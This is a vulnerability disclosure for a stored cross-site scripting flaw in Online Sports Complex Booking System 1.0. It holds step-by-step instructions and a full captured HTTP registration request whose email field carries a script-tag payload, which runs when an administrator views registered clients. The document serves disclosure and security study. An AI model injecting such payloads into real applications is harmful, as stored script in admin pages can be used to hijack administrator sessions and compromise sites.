Title: Online Sports Complex Booking System 1.0 XSS
Author: Zllggggg
Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip
Reference: https://github.com/playZG/Exploit-/blob/main/Online%20Sports%20Complex%20Booking%20System/Online%20Sports%20Complex%20Booking%20System%201.0%20XSS%20loophole.md
Tested on: Windows, MySQL, Apache

Description:

When registering users at the front desk, when we fill in the information,
we use burpsuite to catch the data packet,After obtaining the data packet,
modify the email parameter to <script>alert(1)</script> then send the
packet,Then log in to the background with the administrator account ,Click
registered clients to trigger the pop-up window

Data packet
POST /scbs/classes/Users.php?f=save_client HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------289647566033806702832762971625
Content-Length: 1284
Origin: http://localhost
Connection: close
Referer: http://localhost/scbs/register.php
Cookie: PHPSESSID=trkbdt4th4hlsp7bpriuih1816
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="id"

1
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="firstname"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="middlename"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="lastname"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="gender"

Male
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="contact"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="address"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="email"

<script>alert(1)</script>
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="password"

123
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


-----------------------------289647566033806702832762971625--